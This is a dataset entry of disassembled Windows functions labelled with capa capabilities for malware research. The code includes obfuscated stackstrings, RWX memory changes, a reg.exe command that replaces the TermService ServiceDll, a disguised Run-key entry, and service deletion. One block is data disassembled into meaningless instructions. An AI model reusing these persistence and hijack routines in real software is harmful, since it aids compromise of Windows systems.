joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4238e5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
or dword [ebp - 0x14], 0xffffffff
and dword [ebp - 0x40], 0
mov dword [ebp - 8], 0x4000
and dword [ebp - 4], 0
and dword [ebp - 0xc], 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push 0
push 0
push 2
call fcn.00424a4b
test eax, eax
je 0x423920
jmp 0x423ac1
push dword [ebp - 8]
push 0x40
call dword [0x408060]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x423939
jmp 0x423ac1
mov dword [ebp - 0x3c], 0x74654e57
mov dword [ebp - 0x38], 0x6d756e45
mov dword [ebp - 0x34], 0x6f736552
mov dword [ebp - 0x30], 0x65637275
mov dword [ebp - 0x2c], 0x41
lea eax, [ebp - 0x3c]
push eax
push 0x408d0c
call dword [0x4080f0]
push eax
call dword [0x4080e4]
mov dword [ebp - 0x10], eax
push dword [ebp - 8]
push 0
push dword [ebp - 0xc]
call fcn.00424a1b
add esp, 0xc
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
call dword [ebp - 0x10]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x423a98
and dword [ebp - 0x44], 0
jmp 0x4239b0
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x14]
jae 0x423a96
mov eax, dword [ebp - 0x44]
shl eax, 5
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx + eax + 0xc]
and eax, 1
je 0x423a70
or dword [ebp - 0x154], 0xffffffff
mov eax, dword [ebp - 0x44]
shl eax, 5
mov ecx, dword [ebp - 0xc]
push dword [ecx + eax + 0x14]
push 0x408d14
lea eax, [ebp - 0x150]
push eax
call dword [fcn.00408204]
add esp, 0xc
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x150]
push eax
call dword [fcn.004080b4]
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0xffffffff
je 0x423a70
push dword [ebp - 0x154]
call dword [fcn.004080fc]
lea eax, [ebp - 0x150]
push eax
call dword [0x408104]
mov eax, dword [ebp - 0x44]
shl eax, 5
mov ecx, dword [ebp - 0xc]
push dword [ecx + eax + 0x14]
push 0x408968
lea eax, [ebp - 0x150]
push eax
call dword [fcn.00408204]
add esp, 0xc
lea eax, [ebp - 0x150]
push eax
call fcn.004221e2
mov eax, dword [ebp - 0x44]
shl eax, 5
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx + eax + 0xc]
and eax, 2
je 0x423a91
mov eax, dword [ebp - 0x44]
shl eax, 5
add eax, dword [ebp - 0xc]
push eax
call fcn.004238e5
jmp 0x4239a9
jmp 0x423aa3
cmp dword [ebp - 0x40], 0x103
je 0x423aa3
jmp 0x423ab0
cmp dword [ebp - 0x40], 0x103
jne 0x423975
push dword [ebp - 0xc]
call dword [0x408064]
push dword [ebp - 4]
call fcn.00424a45
leave
ret 4
Function at 0x401219
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40601c
push 0x40109a
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push eax
fnstcw word [esp]
or word [esp], 0x300
fldcw word [esp]
add esp, 4
push 0
push 0
push 0x406028
push 0x406024
push 0x406020
call sub.CRTDLL.DLL___GetMainArgs
push dword [0x406028]
push dword [0x406024]
push dword [0x406020]
mov dword [0x406014], esp
call fcn.0040129c
add esp, 0x18
xor ecx, ecx
mov dword [ebp - 4], ecx
push eax
call sub.CRTDLL.DLL_exit
leave
ret

Function at 0x40129c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x84], 0
call fcn.00401994
mov esi, eax
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
mov eax, esi
or al, 0x40
push eax
lea eax, [0x4044a5]
lea edx, [fcn.00401a04]
sub eax, edx
push eax
push fcn.00401a04
call sub.KERNEL32.dll_VirtualProtect
cmp dword [ebp - 4], 0
je 0x401337
push esi
call fcn.0040188f
lea eax, [ebp - 0x84]
push eax
push esi
call fcn.004018dd
mov eax, esi
add eax, 0x1cc00
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x84]
push eax
mov edi, dword [ebp - 0x88]
mov eax, esi
mov ecx, edi
or cl, 1
cdq
idiv ecx
mov ebx, eax
add ebx, edi
push ebx
lea edi, [0x4060e4]
mov ebx, esi
dec ebx
and edi, ebx
push edi
call fcn.00401a04
add esp, 0x18
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x401994
Capabilities:
Encode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
push edi
and dword [ebp - 0x118], 0
xor edi, edi
mov dword [ebp - 0x114], 0xa
mov byte [ebp - 0x104], 0
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x10e]
push eax
push 1
push 1
lea eax, [ebp - 0x104]
push eax
call sub.CRYPT32.DLL_CryptBinaryToStringA
call sub.KERNEL32.dll_GetLastError
push 0
push 0
call sub.SHLWAPI.DLL_PathAppendA
movsx edi, byte [ebp - 0x10e]
sub edi, 0x41
mov eax, edi
pop edi
leave
ret

Function at 0x4153e0
Capabilities:
Encode data using xor

Disassembly:
pop esp
jae 0x4153cc
inc ebp
rcr dword [eax], cl
invalid
outsd dx, dword [esi]
xor dword [edi], esi
xchg byte [eax - 0x11e1df31], dl
inc ebp
fidiv dword [ebx + 0x3a]
and byte [edi - 0xd], ah
rcr dword [ebx + 0x5d3ab87b], cl
jnp 0x41539a
cmp bl, byte [ebp + 0x2b]
sar dword [esi - 0x48cfd126], 1
jnp 0x41539a
cmp bl, byte [ebp + 0x2b]
sar dword [esi - 0x48cfd126], 1
dec ebx
cmp al, 0x72
fcompi st(1)
fcomp st(1)
test dword [edi], esp
ror dh, 1
invalid
Function at 0x1000133c
Capabilities:
Delete registry value
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x22c
push ebx
push ebp
push esi
push 0x52
pop eax
push 0x75
mov word [esp + 0x1c], ax
mov esi, ecx
pop eax
push 0x6e
pop ecx
push 0x4f
mov word [esp + 0x1e], ax
mov edx, 0x1001ef10
pop eax
push 0x63
mov word [esp + 0x22], ax
pop eax
mov ebp, dword [sym.imp.USER32.dll_wsprintfW]
push 0x65
mov word [esp + 0x26], ax
pop eax
mov word [esp + 0x24], ax
xor eax, eax
mov word [esp + 0x26], ax
lea eax, [esp + 0x18]
push eax
mov eax, dword [0x10026b00]
test eax, eax
mov word [esp + 0x20], cx
lea eax, [esp + 0x30]
mov word [esp + 0x24], cx
mov ecx, 0x1001ff84
push 0x1001ff30
cmove ecx, edx
cmovne edx, dword [0x10026b78]
push ecx
push edx
push 0x1001ff88
push eax
call ebp
add esp, 0x18
lea eax, [esp + 0xc]
xor ebx, ebx
cmp dword [0x10026b00], ebx
mov dword [esp + 0xc], ebx
push ebx
push eax
push ebx
push 0xf023f
push ebx
push ebx
push ebx
lea eax, [esp + 0x48]
push eax
mov eax, closesocket
lea ecx, [eax + 2]
cmovne eax, ecx
push eax
call dword [0x100268c8]
test eax, eax
jne 0x1000150f
test esi, esi
je 0x10001412
push dword [0x10026e20]
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
jmp 0x10001505
push edi
mov edi, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x20a
call ebx
push 8
pop edx
mov ecx, eax
call fcn.10007d5c
mov esi, eax
test esi, esi
je 0x10001504
push str.Silverlight.Configuration.exe
push dword [0x100268ac]
push str.__s_s_
push esi
call ebp
mov dword [esp + 0x3c], eax
add esp, 0x10
xor eax, eax
xor ecx, ecx
inc eax
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], eax
lea eax, [esp + 0x14]
push eax
push ecx
lea eax, [esp + 0x20]
push eax
push ecx
push str.Silverlight.Configuration.exe
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x100014d8
mov eax, dword [esp + 0x14]
lea eax, [eax*2 + 2]
push eax
call ebx
push 8
pop edx
mov ecx, eax
call fcn.10007d5c
mov ebp, eax
test ebp, ebp
je 0x100014d8
lea eax, [esp + 0x14]
push eax
push ebp
lea eax, [esp + 0x20]
push eax
push 0
push str.Silverlight.Configuration.exe
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x100014ca
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
push 1
pop eax
cmove edi, eax
push ebp
call ebx
mov ecx, eax
call fcn.1000350d
test edi, edi
jne 0x100014fa
mov eax, dword [esp + 0x2c]
lea eax, [eax*2 + 2]
push eax
push esi
xor eax, eax
inc eax
push eax
push 0
push str.Silverlight.Configuration.exe
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push esi
call ebx
mov ecx, eax
call fcn.1000350d
pop edi
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebp
pop ebx
add esp, 0x22c
ret
Function at 0x10002bc0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push esi
push edi
push 0x3c
lea eax, [ebp - 0x3c]
mov esi, edx
push eax
mov edi, ecx
call dword [sym.imp.NTDLL.dll_RtlZeroMemory]
and dword [ebp - 0x20], 0
mov ecx, 0x800400
mov eax, dword [ebp - 0x2c]
test esi, esi
mov dword [ebp - 0x3c], 0x3c
cmovne eax, esi
mov dword [ebp - 0x38], ecx
cmp dword [ebp + 8], 0
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x28]
cmovne eax, dword [ebp + 8]
test edi, edi
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x30]
cmovne eax, edi
cmp dword [ebp + 0xc], 0
mov dword [ebp - 0x30], eax
je 0x10002c1e
mov dword [ebp - 0x20], 1
jmp 0x10002c26
mov ecx, 0x808400
mov dword [ebp - 0x38], ecx
mov esi, dword [ebp + 0x10]
test esi, esi
je 0x10002c33
or ecx, 0x40
mov dword [ebp - 0x38], ecx
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov edi, eax
test edi, edi
je 0x10002c68
test esi, esi
je 0x10002c68
imul ecx, esi, 0x3e8
or edx, 0xffffffff
cmp esi, edx
cmovne edx, ecx
push edx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 4]
call dword [sym.imp.NTDLL.dll_NtClose]
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x10002e45
Capabilities:
Enumerate processes via ntquerysysteminformation
Get system information on windows

Disassembly:
push ecx
push ecx
push esi
push edi
mov edi, dword [sym.imp.NTDLL.dll_NtQuerySystemInformation]
lea eax, [esp + 8]
push eax
xor esi, esi
push esi
push esi
push 5
mov dword [esp + 0x18], esi
call edi
cmp eax, 0xc0000004
jne 0x10002f00
mov edx, dword [esp + 8]
test edx, edx
je 0x10002f00
push ebx
push 4
push 0x1000
call fcn.10006c4d
mov ebx, eax
test ebx, ebx
je 0x10002eff
lea eax, [esp + 0xc]
push eax
push dword [esp + 0x10]
push ebx
push 5
call edi
test eax, eax
js 0x10002ef3
cmp dword [esp + 0xc], esi
jbe 0x10002ef3
call fcn.1000ab3d
mov ecx, eax
mov edi, ebx
mov eax, dword [str.alive.exe]
mov dword [esp + 0x10], ecx
push ebp
cmp dword [edi + 0x44], ecx
je 0x10002edf
mov ebp, esi
test eax, eax
je 0x10002edf
push dword [edi + 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x10002eef
mov eax, dword [ebp*4 + 0x100268d4]
inc ebp
test eax, eax
jne 0x10002ec0
mov eax, dword [str.alive.exe]
mov ecx, dword [edi]
test ecx, ecx
je 0x10002ef2
add edi, ecx
je 0x10002ef2
mov ecx, dword [esp + 0x14]
jmp 0x10002eb5
xor esi, esi
inc esi
pop ebp
mov edx, dword [esp + 0xc]
push ecx
mov ecx, ebx
call fcn.10007c48
pop ebx
pop edi
mov eax, esi
pop esi
pop ecx
pop ecx
ret

Function at 0x10002f91
Capabilities:
Resume thread

Disassembly:
push esi
mov esi, ecx
mov eax, dword [esi]
test eax, eax
je 0x10002fd9
push edi
xor edi, edi
cmp dword [esi + 8], edi
jbe 0x10002fcc
push ebx
mov eax, dword [esi]
push dword [eax + edi*4]
call fcn.10001541
mov ebx, eax
test ebx, ebx
je 0x10002fc3
push 0
push ebx
call dword [sym.imp.NTDLL.dll_NtResumeThread]
push ebx
call dword [sym.imp.NTDLL.dll_NtClose]
inc edi
cmp edi, dword [esi + 8]
jb 0x10002fa3
mov eax, dword [esi]
pop ebx
mov ecx, dword [0x10026868]
push eax
call fcn.1000350d
pop edi
pop esi
ret
Function at 0x10003182
Capabilities:
Delete file
Enumerate files on windows
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x66c
lea eax, [ebp - 0x668]
push ebx
mov ebx, dword [0x100268ac]
push esi
push edi
push edx
push 0x2a
push ebx
push str._s_c_s
push eax
xor esi, esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
lea eax, [ebp - 0x258]
push 0x250
push eax
call dword [sym.imp.NTDLL.dll_RtlZeroMemory]
lea eax, [ebp - 0x258]
push eax
lea eax, [ebp - 0x668]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x100031e0
xor eax, eax
jmp 0x1000324e
test byte [ebp - 0x258], 0x10
jne 0x10003233
cmp dword [ebp - 0x258], 0
je 0x10003233
lea eax, [ebp - 0x22c]
push eax
push ebx
lea eax, [ebp - 0x668]
push 0x1001fccc
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x668]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x10003230
push 4
push eax
lea eax, [ebp - 0x668]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
xor esi, esi
inc esi
lea eax, [ebp - 0x258]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x100031e0
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10003984
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
push edi
push 0x32
xor ebp, ebp
lea eax, [esp + 0x18]
pop esi
push eax
mov ebx, ecx
mov dword [esp + 0x18], ebp
mov edi, ebp
mov dword [esp + 0x2c], ebx
cmp dword [0x10026880], edi
mov ecx, 0x20119
mov eax, 0x20019
cmovne eax, ecx
push eax
push ebp
push str.SYSTEMCurrentControlSetServicesTermService
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10003b5b
lea eax, [esp + 0x18]
mov dword [esp + 0x20], ebp
push eax
push ebp
lea eax, [esp + 0x28]
mov dword [esp + 0x20], ebp
push eax
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push str.ImagePath
push dword [esp + 0x28]
call ebp
test eax, eax
jne 0x10003b51
mov eax, dword [esp + 0x18]
lea eax, [eax*2 + 2]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 8
pop edx
mov ecx, eax
call fcn.10007d5c
mov ebx, eax
test ebx, ebx
je 0x10003b4d
lea eax, [esp + 0x18]
push eax
push ebx
lea eax, [esp + 0x28]
push eax
push edi
push str.ImagePath
push dword [esp + 0x28]
call ebp
test eax, eax
jne 0x10003b3f
push ebx
call dword [sym.imp.SHLWAPI.dll_PathRemoveArgsW]
push ebx
call dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
push str.svchost
push ebx
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x10003b3f
and dword [esp + 0x10], edi
lea eax, [esp + 0x10]
cmp dword [0x10026880], edi
mov ecx, 0x20119
push eax
mov eax, 0x20019
cmovne eax, ecx
push eax
push edi
push str.SYSTEMCurrentControlSetServicesTermServiceParameters
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10003b3f
xor ecx, ecx
lea eax, [esp + 0x1c]
push eax
push ecx
lea eax, [esp + 0x2c]
mov dword [esp + 0x2c], ecx
push eax
push ecx
push str.ServiceDll
push dword [esp + 0x24]
mov dword [esp + 0x34], ecx
call ebp
test eax, eax
jne 0x10003b35
mov eax, dword [esp + 0x1c]
lea eax, [eax*2 + 2]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 8
pop edx
mov ecx, eax
call fcn.10007d5c
mov edi, eax
test edi, edi
je 0x10003b35
lea eax, [esp + 0x1c]
push eax
push edi
lea eax, [esp + 0x2c]
push eax
push 0
push str.ServiceDll
push dword [esp + 0x24]
call ebp
test eax, eax
jne 0x10003b35
push edi
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov ebp, eax
push str.termsrv.dll
push ebp
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x10003b1f
xor esi, esi
jmp 0x10003b35
push str.termsrvw.dll
push ebp
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
mov ecx, 0xb7
cmove esi, ecx
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov ecx, eax
call fcn.1000350d
mov ebx, dword [esp + 0x28]
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
je 0x10003b61
mov dword [ebx], esi
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret
Function at 0x10003bc7
Capabilities:
Create process on windows
Get common file path
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x58
push ebx
push ebp
push esi
xor ebp, ebp
lea eax, [esp + 0xc]
push ebp
push eax
push ebp
mov ebx, ebp
mov dword [esp + 0x18], ebp
cmp dword [0x10026880], ebx
mov esi, ecx
mov ecx, 0x20106
mov eax, 0x20006
cmovne eax, ecx
push eax
push ebp
push ebp
push ebp
push str.SYSTEMCurrentControlSetServicesTermServiceParameters
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x10003d3a
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 2]
push eax
push esi
push 2
push ebp
push str.ServiceDll
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x10003d30
inc ebx
cmp dword [0x10026880], ebp
je 0x10003d30
mov eax, dword [0x10027a24]
cmp dword [eax + 4], 6
jne 0x10003d30
cmp dword [eax + 8], ebp
jne 0x10003d30
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push edi
push 0x1000
call ebp
push 8
pop edx
mov ecx, eax
call fcn.10007d5c
mov edi, eax
test edi, edi
je 0x10003d2f
push 0x22
pop eax
mov word [edi], ax
lea eax, [edi + 2]
push 0x800
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x10003d25
inc eax
push 0x5c
pop ecx
cmp word [edi + eax*2 - 2], cx
je 0x10003cab
mov word [edi + eax*2], cx
inc eax
push esi
lea eax, [edi + eax*2]
push str.reg.exe__add_HKLMSYSTEMCurrentControlSetServicesTermServiceParameters__v_ServiceDll__t_REG_EXPAND_SZ__d___s___f
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov esi, dword [sym.imp.NTDLL.dll_RtlZeroMemory]
lea eax, [esp + 0x30]
add esp, 0xc
push 0x44
push eax
call esi
push 0x10
lea eax, [esp + 0x18]
mov dword [esp + 0x28], 0x44
push eax
mov dword [esp + 0x58], ebx
call esi
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x28]
push eax
xor eax, eax
push eax
push eax
push 0x8000000
push eax
push eax
push eax
push edi
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x10003d25
push 0x7530
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x18]
mov esi, dword [sym.imp.NTDLL.dll_NtClose]
call esi
push dword [esp + 0x14]
call esi
push edi
call ebp
mov ecx, eax
call fcn.1000350d
pop edi
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x58
ret
Function at 0x10003e37
Capabilities:
Delete service
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
xor esi, esi
push 0xf003f
push esi
push esi
mov dword [ebp - 8], edx
call edi
mov ebx, eax
test ebx, ebx
jne 0x10003e6a
push 1
push esi
push esi
call edi
mov ebx, eax
test ebx, ebx
je 0x10003ef1
push 0xf01ff
push str.WpnUserService_6ac92
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
je 0x10003eea
lea eax, [ebp - 0x24]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [ebp - 0x20], 1
je 0x10003ed0
lea eax, [ebp - 0x24]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x10003ee3
mov dword [ebp - 4], esi
lea eax, [ebp - 0x24]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [ebp - 0x20], 1
je 0x10003ed0
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp eax, 0x3c
jl 0x10003ea6
jmp 0x10003ee3
cmp dword [ebp - 8], esi
jne 0x10003eda
xor esi, esi
inc esi
jmp 0x10003ee3
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov esi, eax
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x10004132
Capabilities:
Create thread
Set current directory
Terminate process

Disassembly:
push esi
push edi
push dword [0x100268ac]
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov esi, dword [esp + 0x10]
xor edi, edi
push edi
push 0x10009fe6
mov dword [0x100278d8], 0x20
mov dword [0x100278dc], 2
mov dword [0x100278e0], 0x85
mov dword [0x100278e4], edi
mov dword [0x100278e8], edi
mov dword [0x100278ec], edi
mov dword [0x100278f0], edi
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerExW]
mov dword [0x10027900], eax
test eax, eax
je 0x1000420b
xor ecx, ecx
mov dword [0x100278dc], 4
inc ecx
cmp dword [esp + 0xc], ecx
jbe 0x100041be
jle 0x100041be
mov edx, dword [esi + ecx*4]
cmp word [edx], 0x73
jne 0x100041b7
cmp word [edx + 2], di
je 0x100041fa
inc ecx
cmp ecx, dword [esp + 0xc]
jl 0x100041a8
push 4
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 8
pop edx
mov ecx, eax
call fcn.10007d5c
mov esi, eax
test esi, esi
je 0x100041f5
call dword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
push edi
push edi
push esi
push 0x100080b2
push edi
push edi
mov dword [esi], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.NTDLL.dll_NtClose]
mov eax, dword [0x10027900]
push 0x100278d8
push eax
call dword [sym.imp.ADVAPI32.dll_SetServiceStatus]
pop edi
pop esi
ret 8
push 0x100278d8
push edi
mov dword [0x100278dc], 1
call dword [sym.imp.ADVAPI32.dll_SetServiceStatus]
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1000425b
Capabilities:
Get session information

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
xor esi, esi
push eax
mov ebx, ecx
mov dword [ebp - 8], esi
or edi, 0xffffffff
mov dword [ebp - 4], esi
lea eax, [ebp - 8]
push eax
cmp ebx, edi
jne 0x100042b1
push 1
push esi
push esi
call dword [sym.imp.WTSAPI32.dll_WTSEnumerateSessionsW]
test eax, eax
je 0x100042d2
mov eax, dword [ebp - 8]
mov ecx, esi
cmp dword [ebp - 4], ecx
jle 0x100042a6
cmp dword [eax + 8], esi
je 0x100042a4
add eax, 0xc
inc ecx
cmp ecx, dword [ebp - 4]
jl 0x10004294
jmp 0x100042a6
mov edi, dword [eax]
push dword [ebp - 8]
call dword [sym.imp.WTSAPI32.dll_WTSFreeMemory]
jmp 0x100042d2
push 8
push ebx
push esi
call dword [sym.imp.WTSAPI32.dll_WTSQuerySessionInformationW]
test eax, eax
je 0x100042d2
mov ecx, dword [ebp - 8]
push ecx
mov esi, dword [ecx]
call dword [sym.imp.WTSAPI32.dll_WTSFreeMemory]
test esi, esi
cmovne ebx, edi
mov edi, ebx
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10004a38
Capabilities:
Suspend thread

Disassembly:
push ecx
push esi
push edi
mov edi, ecx
mov dword [esp + 8], edx
xor esi, esi
mov dword [edi], esi
mov dword [edi + 4], esi
mov dword [edi + 8], esi
call fcn.1000b404
test eax, eax
jne 0x10004a59
push 9
pop esi
jmp 0x10004a9d
cmp dword [edi], esi
je 0x10004a9d
push ebx
mov ebx, esi
cmp dword [edi + 8], esi
jbe 0x10004a9c
push ebp
mov eax, dword [edi]
push dword [eax + ebx*4]
call fcn.10001541
mov ebp, eax
test ebp, ebp
je 0x10004a95
push esi
push ebp
call dword [sym.imp.NTDLL.dll_NtSuspendThread]
push dword [esp + 0x18]
mov edx, dword [esp + 0x14]
mov ecx, ebp
call fcn.10003402
pop ecx
push ebp
call dword [sym.imp.NTDLL.dll_NtClose]
inc ebx
cmp ebx, dword [edi + 8]
jb 0x10004a66
pop ebp
pop ebx
pop edi
mov eax, esi
pop esi
pop ecx
ret

Function at 0x10004eb1
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
mov word [ebp - 0xc], 0x500
lea eax, [ebp - 4]
mov dword [ebp - 8], ebx
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], ebx
push eax
mov dword [ebp - 4], ebx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x10004f01
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [ebp - 8]
pop ebx
leave
ret